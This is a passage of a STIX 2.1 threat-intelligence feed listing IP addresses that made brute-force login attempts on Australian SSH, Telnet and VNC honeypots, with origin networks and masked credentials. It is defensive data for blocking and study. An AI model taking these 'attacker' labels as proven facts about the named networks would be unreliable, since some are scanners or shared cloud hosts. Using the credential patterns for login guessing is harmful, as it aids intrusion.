      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********5, H**********************3.",
      "id": "indicator--269f6c15-f5cd-4188-8f14-2fd429a61e42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.79.80.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T12:15:10.000Z",
      "valid_until": "2026-05-09T12:15:08.000Z"
    },
    {
      "created": "2026-04-07T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 185. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 16637. Organisation(s): MTN Business Solutions. Usernames observed (masked): r**t, m**e, 3**********4, ***, ***. Passwords observed (masked): ***, 1*******!, 1**************V, 3***********4, 3****9.",
      "id": "indicator--fe45003a-dc2b-4328-9c9a-4c71d0fab257",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.181.156.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T12:15:10.000Z",
      "valid_until": "2026-05-09T12:15:08.000Z"
    },
    {
      "created": "2026-04-07T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--5d9f34a8-c784-489d-9695-7de1b4f02102",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T12:15:10.000Z",
      "valid_until": "2026-05-09T12:15:08.000Z"
    },
    {
      "created": "2026-04-07T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 26496. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, s***m, 3**********4, u**r, b***t. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1****6.",
      "id": "indicator--567e6424-f8b1-430d-8116-dbe0dc78795a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '148.66.132.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T13:15:15.000Z",
      "valid_until": "2026-05-09T13:15:08.000Z"
    },
    {
      "created": "2026-04-07T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 425. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 205090. Organisation(s): First Server Limited. Usernames observed (masked): r**t, 3**********4, u****u, ***, a*****r. Passwords observed (masked): 3***********4, 3**********4, !******r, 1****#, 1*******E.",
      "id": "indicator--d6f70ebb-5d9d-4e15-92fe-275400e10167",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.233.83.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T13:15:15.000Z",
      "valid_until": "2026-05-09T13:15:08.000Z"
    },
    {
      "created": "2026-04-07T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 361. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 29802. Organisation(s): HIVELOCITY, Inc.. Usernames observed (masked): r**t, 3**********4, u****u, ***, a*****r. Passwords observed (masked): 3***********4, 3**********4, !******r, 1****#, 1*******E.",
      "id": "indicator--d150f3c2-3ff0-4c45-8128-fe08f64f9ce7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '199.231.163.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T13:15:15.000Z",
      "valid_until": "2026-05-09T13:15:08.000Z"
    },
    {
      "created": "2026-04-07T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 431. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 5413. Organisation(s): Wavenet Limited. Usernames observed (masked): r**t, 3**********4, u****u, ***, a*****r. Passwords observed (masked): 3***********4, 3**********4, !******r, 1****#, 1*******E.",
      "id": "indicator--d04bd0d6-d491-40c8-bb9a-e496435030f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '212.88.48.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T13:15:15.000Z",
      "valid_until": "2026-05-09T13:15:08.000Z"
    },
    {
      "created": "2026-04-07T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9762. Organisation(s): kt HCN Co.,Ltd..",
      "id": "indicator--d53293f3-6629-4927-8b97-9df7e51a07ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.35.50.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T13:15:15.000Z",
      "valid_until": "2026-05-09T13:15:08.000Z"
    },
    {
      "created": "2026-04-07T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 127. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): r**t, ***, o*****r, s******n, w*****r. Passwords observed (masked): 1****3, 3***********4, A********, R*******@, W******6.",
      "id": "indicator--d0d8ff05-5c41-4c39-aad5-4a3fcda3ff90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.82.64.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T13:15:15.000Z",
      "valid_until": "2026-05-09T13:15:08.000Z"
    },
    {
      "created": "2026-04-07T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): r**t, s***m, 3**********4, u**r, b***t. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1****6.",
      "id": "indicator--34efe49a-d578-4e7c-91b4-da92c44437e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.190.156.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T13:15:15.000Z",
      "valid_until": "2026-05-09T13:15:08.000Z"
    },
    {
      "created": "2026-04-07T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 431. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb. Usernames observed (masked): r**t, 3**********4, u****u, ***, a*****r. Passwords observed (masked): 3***********4, 3**********4, !******r, 1****#, 1*******E.",
      "id": "indicator--242be386-17f4-490c-9f12-e5fcf5a48659",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '93.71.118.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T13:15:15.000Z",
      "valid_until": "2026-05-09T13:15:08.000Z"
    },
    {
      "created": "2026-04-07T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--7fa33442-86a6-4804-b1c4-3088d5a160e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.72.70.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:15:10.000Z",
      "valid_until": "2026-05-09T14:15:08.000Z"
    },
    {
      "created": "2026-04-07T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t, t**t, 3**********4, ***, d**************r. Passwords observed (masked): 1******8, 1********0, 1*******#, 3***********4, 3**********4.",
      "id": "indicator--f045d997-4e04-481e-af38-342fbe4fc955",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.198.162.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:15:10.000Z",
      "valid_until": "2026-05-09T14:15:08.000Z"
    },
    {
      "created": "2026-04-07T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 390. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, u****u, l*****g, p******s. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1*******e, 1******@.",
      "id": "indicator--c582d86a-52ba-420f-be9d-cd4012460cf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.65.153.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:15:10.000Z",
      "valid_until": "2026-05-09T14:15:08.000Z"
    },
    {
      "created": "2026-04-07T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 261. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 204548. Organisation(s): Kamatera Inc. Usernames observed (masked): r**t, u****u, 3**********4, p******s, a****a. Passwords observed (masked): 1***5, 3***********4, 3**********4, 1*******e, 1******@.",
      "id": "indicator--4a73afe0-84d1-419c-9ff0-511100ed3881",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.181.10.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:15:10.000Z",
      "valid_until": "2026-05-09T14:15:08.000Z"
    },
    {
      "created": "2026-04-07T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 219. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 16735. Organisation(s): ALGAR TELECOM SA. Usernames observed (masked): r**t, t**t, 3**********4, d*******r, a***n. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1*******#, 5*****D.",
      "id": "indicator--e85276d7-6649-4c11-94d3-b913b45c0c86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.16.238.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:15:10.000Z",
      "valid_until": "2026-05-09T14:15:08.000Z"
    },
    {
      "created": "2026-04-07T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, s****v, u****u, 3**********4, a****s. Passwords observed (masked): 0********5, 1****6, 1********t, 3***********4, 3**********4.",
      "id": "indicator--d5592072-42a9-4464-838a-8cf1c816decb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.97.161.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:15:10.000Z",
      "valid_until": "2026-05-09T14:15:08.000Z"
    },
    {
      "created": "2026-04-07T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, h****r, p*****a, t**t, u****u. Passwords observed (masked): 1**************8, 3***********4, A******2, C******e, Q*****3.",
      "id": "indicator--df13b2d4-f0ad-49fc-bddd-2bdb5486105f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '23.91.96.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:15:10.000Z",
      "valid_until": "2026-05-09T14:15:08.000Z"
    },
    {
      "created": "2026-04-07T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 344. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, u****u, l*****g, a****a. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1*******e, 1****6.",
      "id": "indicator--7eb225bd-2f91-4e2c-a86f-49ff6fa64a54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.68.226.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:15:10.000Z",
      "valid_until": "2026-05-09T14:15:08.000Z"
    },
    {
      "created": "2026-04-07T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC.",
      "id": "indicator--44b6a500-3755-479e-89f6-d98d23871a2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '99.17.13.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:15:10.000Z",
      "valid_until": "2026-05-09T14:15:08.000Z"
    },
    {
      "created": "2026-04-07T15:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--25d187e3-7d13-4167-91f5-909bb401a313",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.240.237.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T15:15:05.000Z",
      "valid_until": "2026-05-09T15:15:03.000Z"
    },
    {
      "created": "2026-04-07T15:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--ec6fb90d-ec91-43b0-9143-b816fc7b95e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T15:15:05.000Z",
      "valid_until": "2026-05-09T15:15:03.000Z"
    },
    {
      "created": "2026-04-07T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--a3976b5b-33e5-41be-a3cd-4cd10c7604b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.255.210.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T16:15:10.000Z",
      "valid_until": "2026-05-09T16:15:08.000Z"
    },
    {
      "created": "2026-04-07T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ef85512a-1e6b-4512-8bf1-05085da86058",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.146.219.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T16:15:10.000Z",
      "valid_until": "2026-05-09T16:15:08.000Z"
    },
    {
      "created": "2026-04-07T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--0cc25d64-e498-465d-8058-7ead53f5e0eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.65.193.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T16:15:10.000Z",
      "valid_until": "2026-05-09T16:15:08.000Z"
    },
    {
      "created": "2026-04-07T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): z****x, 3**********4, ***, d**************r, o**o. Passwords observed (masked): 1****6, 1******8, 3***********4, 3**********4, 5*****D.",
      "id": "indicator--dc4f83f0-f931-4f6f-9d47-22683b67ee87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.254.212.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T16:15:10.000Z",
      "valid_until": "2026-05-09T16:15:08.000Z"
    },
    {
      "created": "2026-04-07T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--b9588c94-25ca-4a34-8946-ecf74dc7bdba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T16:15:10.000Z",
      "valid_until": "2026-05-09T16:15:08.000Z"
    },
    {
      "created": "2026-04-07T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7029. Organisation(s): Windstream Communications LLC.",
      "id": "indicator--d8013f9c-854e-4f04-8c17-4cd24e08bbb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.31.16.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T16:15:10.000Z",
      "valid_until": "2026-05-09T16:15:08.000Z"
    },
    {
      "created": "2026-04-07T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--f23758e2-b784-4e96-be47-9def1c17d31b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.219.236.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T16:15:10.000Z",
      "valid_until": "2026-05-09T16:15:08.000Z"
    },
    {
      "created": "2026-04-07T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Heralding. Target ports: 5900. Source country: TH. ASN(s): 55423. Organisation(s): JasTel Network. Passwords observed (masked): p******d, 1******8, 1****1, 1****3, 1****6.",
      "id": "indicator--cfe3f977-a749-43a6-bf9b-a422ab725120",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.247.61.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T17:15:10.000Z",
      "valid_until": "2026-05-09T17:15:08.000Z"
    },
    {
      "created": "2026-04-07T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--3fa2d3ee-d0d2-4f21-b0a2-2ee60b9adc9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.49.88.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T17:15:10.000Z",
      "valid_until": "2026-05-09T17:15:08.000Z"
    },
    {
      "created": "2026-04-07T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MO. ASN(s): 4609. Organisation(s): Companhia de Telecomunicacoes de Macau SARL. Usernames observed (masked): r**t, g****b, 3**********4, i**d, o**o. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, A*******1.",
      "id": "indicator--1a83425a-378b-4134-a0fd-efc2c5fa8bca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.31.2.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T17:15:10.000Z",
      "valid_until": "2026-05-09T17:15:08.000Z"
    },
    {
      "created": "2026-04-07T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6cb93448-e7fe-4497-90ca-09aaab290332",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T17:15:10.000Z",
      "valid_until": "2026-05-09T17:15:08.000Z"
    },
    {
      "created": "2026-04-07T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 22. Source country: MX. ASN(s): 265523. Organisation(s): Sierra Madre Internet SA de CV.",
      "id": "indicator--c2d499ce-bd9a-4bab-b67f-104629804ebc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.125.137.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
